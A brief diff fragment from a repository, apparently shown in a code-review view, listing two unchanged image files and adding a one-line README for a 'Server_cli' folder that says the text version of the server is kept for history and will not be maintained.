Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 10 KiB |
|
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 16 KiB |
1
Server_cli/README.md
Normal file
@@ -0,0 +1 @@
|
|||||||
|
# Text version of the Server, will not be maintained, keeping it because history
|
||||||